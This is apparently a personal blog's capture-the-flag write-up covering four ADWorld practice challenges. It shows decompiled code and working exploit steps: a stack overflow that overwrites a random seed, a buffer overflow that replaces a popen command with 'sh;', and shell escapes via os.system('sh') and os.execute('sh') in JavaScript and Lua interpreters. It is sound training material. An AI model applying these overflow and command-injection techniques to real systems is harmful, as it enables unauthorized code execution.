ADWorld PWN Challenge Area Write-ups (Misc)
TyeYeah Lv4

dice game

Attachment: dice_game.zip
Description: None.

The dice game is similar but harder than guess num which in ADworld PWN exercise area. Just find out the flag.

Information

Check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ file dice_game
dice_game: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=25432b87a385dc5acec03263b2e3746f287ed159, stripped
$ checksec dice_game
[*] '/root/dice_game'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]

memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 )
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = sub_A20();
fflush(stdout);
if ( v5 != 1 )
break;
if ( v8 == 50 )
{
sub_B28((__int64)buf);
break;
}
++v8;
}
puts("Bye bye!");
return 0LL;
}

sub_A20:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
signed __int64 sub_A20()
{
signed __int64 result; // rax
__int16 v1; // [rsp+Ch] [rbp-4h]
__int16 v2; // [rsp+Eh] [rbp-2h]

printf("Give me the point(1~6): ");
fflush(stdout);
_isoc99_scanf("%hd", &v1);
if ( v1 > 0 && v1 <= 6 )
{
v2 = rand() % 6 + 1;
if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
if ( v1 == v2 )
{
puts("You win.");
result = 1LL;
}
else
{
puts("You lost.");
result = 0LL;
}
}
else
{
puts("Invalid value!");
result = 0LL;
}
return result;
}

sub_B28:

1
2
3
4
5
6
7
8
9
10
11
int __fastcall sub_B28(__int64 a1)
{
char s; // [rsp+10h] [rbp-70h]
FILE *stream; // [rsp+78h] [rbp-8h]

printf("Congrats %s\n", a1);
stream = fopen("flag", "r");
fgets(&s, 100, stream);
puts(&s);
return fflush(stdout);
}

Analysis

It is similar to guess num because they both need to overflow to set specific seed.

After extracting dice _game.zip, it gives a libc.so.6 for us. The results of rand() is decided by this lib file in the target pc.

So we have 2 ways to deal with it:

  1. write our own rand test program to see the result, remember to compile with given libc.so.6.
  2. call libc.so.6 in python, using ctypes lib.

As for the offset, we input buf to overflow seed, so it should be 0x50 - 0x10 == 0x40.

Exploit

Like what we do with guess num, we write rand.c to test the result (I want to overflow seed as 00000000, so…):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//  gcc rand.c -Wl,--rpath=/root/lib -Wl,--dynamic-linker=/root/lib/libc.so.6
#include <stdio.h>
#include <stdlib.h>
void p(){
printf("%d\n", rand() % 6 + 1);
return;
}
int main(){
srand(0x3030303030303030);
for(int i=0;i<=50;i++){
p();
}
return 0;
}

Remember to compile with the given libc:

1
2
3
4
5
6
7
8
9
$ gcc rand.c -Wl,--rpath=/root/lib -Wl,--dynamic-linker=/root/lib/libc.so.6
$ ./a.out
6
5
1
...
6
1
1

Then we run dice_game (copy and paste):

1
2
3
4
5
6
7
8
9
10
11
12
$ ./dice_game
Welcome, let me know your name: 000000000000000000000000000000000000000000000000000000000000000000000000
Hi, 00000000000000000000000000000000000000000000000000000000I. Lets play a game.
Game 1/50
Give me the point(1~6): 6
...
Give me the point(1~6): 1
1You win.
Game 50/50
Give me the point(1~6): You win.
Congrats 0000000000000000000000000000000000000000000000000000000I
Segmentation fault

Or use cdll of ctypes to load libc and run C language functions in python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from ctypes import *

sh = process('./dice_game')
sh = remote('220.249.52.133',39266)
libc = cdll.LoadLibrary('./libc.so.6')

print sh.recv()
payload = '0' * 0x40 + p64(0x3030303030303030)
print payload
libc.srand(0x3030303030303030)
sh.sendline(payload)
for i in range(50):
num = libc.rand() % 6 + 1
sh.recv()
sh.sendline(str(num))
pass
sh.interactive()

monkey

Attachment: monkey.zip
Description: None

It’s about JavaScript Shell.

Information

Check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ unzip monkey.zip
Archive: monkey.zip
inflating: js
inflating: libnspr4.so
inflating: libplds4.so
inflating: libplc4.so
$ file js
js: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=e3c6583926710fbbace7f075fd88ea7963faa0e0, not stripped
$ checksec js
[*] '/root/js'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode is a mess.

Analysis

We are familiar with JavaScript, but what is js shell? It is a command line program included in SpiderMonkey source code, and it acts like Python interpreter.

Use help() to see help page, and use dumpHeap() to dump the heap. Among help() result we can see:

1
2
os - interface object
os.getenv os.getpid os.system os.spawn os.kill os.waitpid os.file os.path

There we can use os.system to get shell.

Exploit

Using nc to interact is ok:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nc 220.249.52.133 56711
js> os.system('sh')
os.system('sh')
ls
bin
dev
flag
js
lib
lib32
lib64
libnspr4.so
libplc4.so
libplds4.so
run.sh
cat flag
cyberpeace{xxxxxxxxxxxxxxxxxxxx}

Or use read to read file (know it from other writeup):

1
2
3
4
5
js> read('flag')
read('flag')
js> print()
print()
"cyberpeace{xxxxxxxxxxxxxxxxxxxx}\n"

secret_file

Attachment: secret_file
Description: Confidential.

It’s about hash (sha-256).

Information

Check:

1
2
3
4
5
6
7
8
9
$ file secret_file
secret_file: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=700ac7785d436db2bbb5642f99678fe1ef0394b8, stripped
$ checksec secret_file
[*] '/root/secret_file'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rax
unsigned __int8 *v4; // rbp
int *v5; // rbx
__int64 v6; // rcx
char *v7; // rdi
unsigned int v8; // er12
FILE *v9; // rbp
__int64 v11; // [rsp+0h] [rbp-308h]
char *lineptr; // [rsp+8h] [rbp-300h]
char dest; // [rsp+10h] [rbp-2F8h]
__int64 v14; // [rsp+110h] [rbp-1F8h]
_BYTE v15[5]; // [rsp+12Bh] [rbp-1DDh]
int v16; // [rsp+16Ch] [rbp-19Ch]
int v17; // [rsp+18Ch] [rbp-17Ch]
int v18; // [rsp+1CCh] [rbp-13Ch]
char s; // [rsp+1D0h] [rbp-138h]
unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]

v20 = __readfsqword(0x28u);
PREPARE(&dest);
v11 = 0LL;
lineptr = 0LL;
if ( getline(&lineptr, (size_t *)&v11, stdin) == -1 )
return 1;
v3 = strrchr(lineptr, '\n');
if ( !v3 )
return 1;
*v3 = 0;
v4 = (unsigned __int8 *)&v16;
v5 = &v17;
strcpy(&dest, lineptr);
SHA256((__int64)&dest, &v16, 0x100u);
do
{
v6 = *v4;
v7 = (char *)v5;
v5 = (int *)((char *)v5 + 2);
++v4;
snprintf(v7, 3uLL, "%02x", v6);
}
while ( v5 != &v18 );
v8 = strcmp(v15, (const char *)&v17);
if ( v8 )
{
puts("wrong password!");
return 1;
}
v9 = popen((const char *)&v14, "r");
if ( !v9 )
return 1;
while ( fgets(&s, 256, v9) )
printf("%s", &s);
fclose(v9);
return v8;
}

PREPARE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall sub_E60(char *a1)
{
char v_14[26]; // [rsp+0h] [rbp-78h]
char v3; // [rsp+1Ah] [rbp-5Eh]
char v4[64]; // [rsp+20h] [rbp-58h]
unsigned __int64 v5; // [rsp+68h] [rbp-10h]

v5 = __readfsqword(0x28u);
v3 = 0;
memset(a1, 0, 0x100uLL);
qmemcpy(v_14, "/bin/cat ./secret_data.asc", sizeof(v_14));
snprintf(
a1 + 256,
0x1BuLL,
"%s",
v_14,
*(_QWORD *)v_14,
*(_QWORD *)&v_14[8],
*(_QWORD *)&v_14[16],
*(_QWORD *)&v_14[24]);
strcpy(v4, "9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127");
snprintf(a1 + 283, 0x41uLL, "%s", v4);
return __readfsqword(0x28u) ^ v5;
}

SHA256:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 __fastcall sub_DD0(__int64 a1, _QWORD *a2, unsigned int a3)
{
unsigned int v3; // er12
__int64 v5; // [rsp+0h] [rbp-A8h]
unsigned __int64 v6; // [rsp+78h] [rbp-30h]

v3 = a3;
*a2 = 0LL;
a2[1] = 0LL;
v6 = __readfsqword(0x28u);
a2[2] = 0LL;
a2[3] = 0LL;
SHA256_Init(&v5);
SHA256_Update((__int64)&v5, a1, v3);
SHA256_Final((__int64)a2, (__int64)&v5);
return __readfsqword(0x28u) ^ v6;
}

I edited some functions’ name and even changed some variables’ declaration in IDA to simplify the main logic.

Analysis

The program reads input and do sha256 hash, then compare it with stored hash. If they are equal, a command will be executed.

The stored hash (9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127) and command (/bin/cat ./secret_data.asc) are both hardcoded, however it is not easy to unhash it, so we can overflow them as controlled content (sadly, cannot control program flow).

In main() we input to dest, program calculates the sha256 result as v17 and compare it with v15 (stored hash). Command is in v14 and will be 1st parameter of popen. Imitating PREPARE() we write our payload:
payload = padding (0x100) + command (0x1b) + sha256(padding) (0x40)

Note: because it uses popen which essentially fork a process to execute, if we set command as /bin/sh we can’t receive interaction directly. But if we exit the sh we can get all output.

Exploit

Produce payload:

1
2
3
4
5
6
7
$ ipython
...
In [1]: import hashlib
In [2]: padding = 'a'*0x100
In [3]: payload = padding + 'sh;'.ljust(0x1B,'b') + hashlib.sha256(padding).hexdigest()
In [4]: print payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaash;bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe

And send payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nc 220.249.52.133 41676
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaash;bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe
ls
exit
sh: 1: bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe: not found
bin
dev
flag.txt
lib
lib32
lib64
secret_file


Ncat: Broken pipe.
$ nc 220.249.52.133 41676
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaash;bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe
cat flag.txt
exit
sh: 1: bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe: not found
cyberpeace{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

Aul

Attachment: None.
Description: None.

It is a Lua shell.

Information

As it gives no binary, I can only know the program by interaction:

1
2
3
4
5
6
7
8
9
10
11
12
$ nc 220.249.52.133 51731
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
qwer
Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.

Use rotate and rotate_left to rotate the matrix in two directions, and use help we get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
LuaS�

xV(w@�,��,�,��,�,@��,��,���,�„,@��,��,����CA�$@@C$@�&�
make_boardpopulate_boardboard_tostringfallrotatecrush
rotate_leftreadAllhelpquitexit run_stepgame
writelinelet's play a game


K@J��@@��
AF�@
setmetatableA��J��@�f&�size
__tostringboard_tostring"
.�@���A@�@@$Ab@�����@RA, @��@�F�A���AB���Ad������
@i���A�����h��@d���C�BC���
��g��F�C�ef&�sizemath
randomseedipairsabcdmathrandomF@G@�������d���F��@�&&�mathrandom$/!K�@�@�@A�����BN�@��(B��A�������݁'�BA�A@�������$B�����@A���AA���&�
size| tableinsert |concat
1D
G@�@@��������N��(���@�$B'���&�size
make_board5=EN���@�@������������_@@�����������������N����&���������FSG@��OCMÂGC�@'��@��&�size�C�
make_boardUg
$G@�@@��������A�A���@�N����(A����'��OA�N����(A�B�G�GB�@@����@����'��&size
make_boardabcdik F@�@�@��ef&�rotatemr
F@G@����d���������@��@�&�ioopenrbread*allclosetx@@@F�@��d��$��F@A��@ǀ��d@&�stringsubreadAll
server.luac writerawlen{}@@�&�quit�-F@d���@@��@�����@���A�@����@@�@A�������@����@@�@A�������@����B�@���������B@������&�
 readlinestringlenexitfind functionprintloadreturn ��%@F@@��d$�F�@�A����@��d@F�A�d���A�@@�_�@���@BƀBAB@$�������@���@���&�
populate_board
make_board
writelineboard_tostring
 run_stepquitfallcrushEDidn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.
Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.

It looks like luac – the opcode/bytecode of Lua. And if we enter number or something, we get:

1
2
3
4
5
6
7
8
9
10
11
12
$ nc 220.249.52.133 51731
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
1
lua Error: ?:-1: attempt to call a number value

So it is definitely a Lua shell.

Analysis

Questioner wants us to decompile luac file, but the result of help gives us a broken one, with its header lack of 1 byte.

The head of luac file should be 1b 4c 75 61, so we have to fix it and use unluac or luadec to decompile it. The result of it should be like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
-- http://www.playwithlua.com/?p=28

function make_board(size)
local board = { size = size }
setmetatable(board, { __tostring = board_tostring })

for n = 0, size * size - 1 do
board[n] = 0
end

return board
end

function populate_board(board, filled, seed)
local size = board.size
if seed then math.randomseed(seed) end
filled = filled or size * size * 3 / 4

local function rand()
local c
repeat c = math.random(size * size) - 1 until board[c] == 0
return c
end

if filled > 0 then
for _,v in ipairs{'a','b','c','d'} do board[rand()] = v end

for n = 1, filled-4 do
board[rand()] = math.random(4)
end

return fall(board)
end
end

function board_tostring(board)
local lines = {}
local size = board.size
for y = 0, size - 1 do
local line = "|"
for x = 0, size - 1 do
line = line .. " " .. board[x+y*size]
end
table.insert(lines, line .. " |")
end
return table.concat(lines,"\n")
end

function fall(board)
local size = board.size
local new_board = make_board(size, 0)

local function fall_column(col)
local dest = size - 1
for y = size-1, 0, -1 do
if board[y*size + col] ~= 0 then
new_board[dest*size + col] = board[y*size + col]
dest = dest - 1
end
end
end

for x=0, size-1 do
fall_column(x)
end

return new_board
end

function rotate(board)
local size = board.size
local new_board = make_board(size, 0)

for y = 0, size-1 do
local dest_col = size - 1 - y

for n = 0, size-1 do
new_board[n*size + dest_col] = board[y*size + n]
end
end

return new_board
end

function crush(board)
local size = board.size
local new_board = make_board(size, 0)
local crushers = {'a','b','c','d'}

for n=0, size-1 do
new_board[n] = board[n]
end

for n = size, size*size - 1 do
if board[n-size] == crushers[board[n]] then
new_board[n] = 0
else
new_board[n] = board[n]
end
end

return new_board
end

function rotate_left(board)
return rotate(rotate(rotate(board)))
end

function readAll(file)
local f = io.open(file, "rb")
local content = f:read("*all")
f:close()
return content
end

function help()
local l = string.sub(readAll("server.luac"), 2)

writeraw(l, string.len(l))
end

quit = false
function exit()
quit = true
end

function run_step(board)
local cmd = readline()

if(string.len(cmd) == 0) then
exit()
return nil
end

-- prevent injection attacks
if(string.find(cmd, "function")) then
return nil
end

if(string.find(cmd, "print")) then
return nil
end

local f = load("return " .. cmd)()

if f == nil then
return nil
end

return f(board)
end

function game()
local board = populate_board(make_board(8))

repeat

writeline(board_tostring(board) .. "\n")

local b = run_step(board)

if quit then
break
end

if b ~= nil then
board = b
board = fall(crush(fall(board)))
else
writeline("Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.\n")
end

until false
end

writeline("let's play a game\n")

game()

So local f = load("return " .. cmd)() might be the key part, because we can do code execution here.

It still has an unexpected solution. Like what we did in monkey, we can also obtain Lua shell directly by os.execute('/bin/sh')

Exploit

Expected solution on adworld wp:

1
2
3
4
5
6
7
8
9
10
11
12
$ nc 220.249.52.133 51731
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
load('lines = io.lines("flag")\n for l in lines do writeline(l) end')
cyberpeace{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.

Unexpected solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nc 220.249.52.133 51731
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
os.execute('sh')
ls
bin
dev
flag
lib
lib64
run.sh
scripty
server.lua
server.luac
cat flag
cyberpeace{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
Powered by Hexo & Theme Keep
Total words 135.7k